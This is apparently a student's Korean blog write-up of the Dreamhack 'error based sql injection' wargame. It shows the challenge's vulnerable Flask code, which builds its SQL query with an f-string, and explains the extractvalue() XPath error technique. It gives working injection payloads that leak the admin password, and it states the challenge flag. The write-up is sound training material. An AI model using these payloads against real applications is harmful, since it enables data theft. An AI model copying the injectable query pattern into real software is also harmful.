카테고리 없음

Web Hacking 과제_2(Dreamhack_error based sql injection)

JU__DY 2024. 10. 1. 13:33

error based sql injection | 워게임 | Dreamhack | 워게임 | Dreamhack

 

error based sql injection

Description Simple Error Based SQL Injection ! 문제 수정 내역 2023.07.21 Dockerfile 제공

dreamhack.io

 

 

해당문제는 sql인젝션에 관한 문제라는 설명, 서버를 생성해보겠다.

 

 

생김새를 보니까, sql구문이고, user로 부터 찾을 건데 uid={uid}인 것을 찾기

 

 

swlug라고 치니까 uid가 바뀐다. 흠 일단 파일 한번 확인해보자.

 

 

init.sql 코드를 살펴보기.

CREATE DATABASE IF NOT EXISTS `users`;
GRANT ALL PRIVILEGES ON users.* TO 'dbuser'@'localhost' IDENTIFIED BY 'dbpass';

USE `users`;
CREATE TABLE user(
  idx int auto_increment primary key,
  uid varchar(128) not null,
  upw varchar(128) not null
);

INSERT INTO user(uid, upw) values('admin', 'DH{**FLAG**}');
INSERT INTO user(uid, upw) values('guest', 'guest');
INSERT INTO user(uid, upw) values('test', 'test');
FLUSH PRIVILEGES;

 

user라는 테이블에 uid,upw가 guest, guset / test, test로 테이블안에 넣고, admin비밀번호가 flag이다.

key uid upw
0 admin flag
1 guest guest
2 test test

 

이런식으로 데이터베이스가 구성되어있을 것이다.

 

 

 

app.py 코드이다.

import os
from flask import Flask, request
from flask_mysqldb import MySQL

app = Flask(__name__)
app.config['MYSQL_HOST'] = os.environ.get('MYSQL_HOST', 'localhost')
app.config['MYSQL_USER'] = os.environ.get('MYSQL_USER', 'user')
app.config['MYSQL_PASSWORD'] = os.environ.get('MYSQL_PASSWORD', 'pass')
app.config['MYSQL_DB'] = os.environ.get('MYSQL_DB', 'users')
mysql = MySQL(app)

template ='''
<pre style="font-size:200%">SELECT * FROM user WHERE uid='{uid}';</pre><hr/>
<form>
    <input tyupe='text' name='uid' placeholder='uid'>
    <input type='submit' value='submit'>
</form>
'''

@app.route('/', methods=['POST', 'GET'])
def index():
    uid = request.args.get('uid')
    if uid:
        try:
            cur = mysql.connection.cursor()
            cur.execute(f"SELECT * FROM user WHERE uid='{uid}';")
            return template.format(uid=uid)
        except Exception as e:
            return str(e)
    else:
        return template


if __name__ == '__main__':
    app.run(host='0.0.0.0')

 

admin으로 시도해서 성공을하면, flag를 찾을 수 있을 것 같은데!!! admin으로 해서 주석처리나 다른 방법을 시도하는데 자꾸 에러가 뜬다.

 

 

일단 여태까지 풀어왔던 유형이라는 좀 다른 것 같다는 생각이 들어서 힌트를 찾아보았다.

일단 해당 문제는 error sql이기 때문에 error가 있는지 알아봐야하고, 그렇게 때문에 extractvalue함수를 이용해야한다.

사용방법 : EXTRATVALUE(XML 형식의 값, Xpath 조건식)

 

 

올바른 extractvalue() 예시

mysql> SELECT extractvalue('<a>test</a> <b>abcd</b>', '/a');
+-----------------------------------------------+
| extractvalue('<a>test</a> <b>abcd</b>', '/a') |
+-----------------------------------------------+
| test                                          |
+-----------------------------------------------+
1 row in set (0.00 sec)

 

여기서 취약점이 존재하는데, XPATH식에 select문과 같은 구문을 사용하면 select문의 실행 결과를 보여주게 된다.

 

 

잘못된 extractvalue() 예시

mysql> SELECT extractvalue(1, ':abcd');
ERROR 1105 (HY000): XPATH syntax error: ':abcd'
# ":" 로 시작하면 올바르지 않은 XPATH 식

 

이를 이용해서 익스플로잇을 하기

admin' and extractvalue(1,concat(0x3a,(select upw from user where uid="admin")))

 

 flag값은 ‘admin’의 ‘upw’이기 때문에 admin의 upw를 알기 위해서는 다음과 같은 쿼리를 작성해야한다.

 

concat()함수 뒤에 0x3a는 아스키 코드로 바꿔보면 ":" 인데, 이것을 이렇게 쓰는 이유는 영문자로 출력시 영문자 부분이 잘리게 된다.

만약 0x41로 한다면 ADH{~~~~}가 아닌 영문자 ADH가 잘린 {~~~~}가 출력된다.

영문자 부분을 올바른 XPATH식으로 인식해서 생략하고 특수문자부터 출력하는 것 같다.

따라서 ":"같은 특수문자를 입력해서 잘리는 부분 없이 출력하도록 해야한다고 한다.

 

실행결과 글자 수 초과로 인해 뒷부분이 이렇게 잘린다. 이를 해결하기위해서 SUBSTRING()함수를 이용해 문자열을 잘라서 출력해야한다.

 

앞부분과의 연결성을 위해 substr 함수에 문자열이 20자부터 시작하게 입력한 후 코드를 재작성하여 다음과 같은 코드 ' and extractvalue(1, concat(0x5c, (select substr(upw,20) from user where uid = 'admin'))); 를 입력창에 입력하고 submit을 한다.

 

' and extractvalue(1, concat(0x5c, (select substr(upw,20) from user where uid = 'admin')));

 

 

flag의 뒷부분이 보여지는 것을 알 수 있다.

 

최종 flag 값은 “ c3968c78840750168774ad951fc98bf788563c4d ”이다.

 

 

이 문제는 sql인젝션 문제지만 접근방법이 기존에 풀었던 문제들과 달라 낯설게 느껴졌다.

에러에 관한 문제는 문제를 풀기위해 사용해야하는 다른 함수가 있다는 걸 알게되었으니, 이부분도 잘 알아두었다가 다른 유형의 문제가 나온다면 푸는 시각을 좀더 다각화 하는게 좋을 것 같다.

 

 

[참고한 자료]

 

워게임 드림핵 error based sql injection/challenges-412 (velog.io)

 

워게임 드림핵 error based sql injection/challenges-412

문제 출처: https://dreamhack.io/wargame/challenges/412이 문제는 Error based sql injection와 관련된 문제이고, 문제 풀이에 앞서 이 문제를 풀기 위해 필요한 간단한 개념정리 및 실전 코드를 설명하고 풀이를

velog.io